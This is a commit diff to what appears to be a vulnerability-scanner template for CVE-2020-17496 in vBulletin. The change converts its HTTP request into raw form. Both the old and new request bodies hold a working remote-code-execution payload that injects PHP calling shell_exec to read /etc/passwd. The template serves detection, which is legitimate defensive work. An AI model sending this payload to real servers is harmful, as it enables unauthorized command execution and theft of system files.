Update CVE-2020-17496.yaml
parent
40f751fa4d
commit
73c5f9e8cd
|
@ -6,11 +6,13 @@ info:
|
|||
reference: https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed
|
||||
tags: cve,cve2020,vbulletin
|
||||
requests:
|
||||
-method: POST
|
||||
path:
|
||||
-"{{BaseURL}}/ajax/render/widget_tabbedcontainer_tab_panel"
|
||||
body: |
|
||||
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;
|
||||
- raw:
|
||||
- |
|
||||
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
-type: regex
|
||||
|
|
Loading…
Reference in New Issue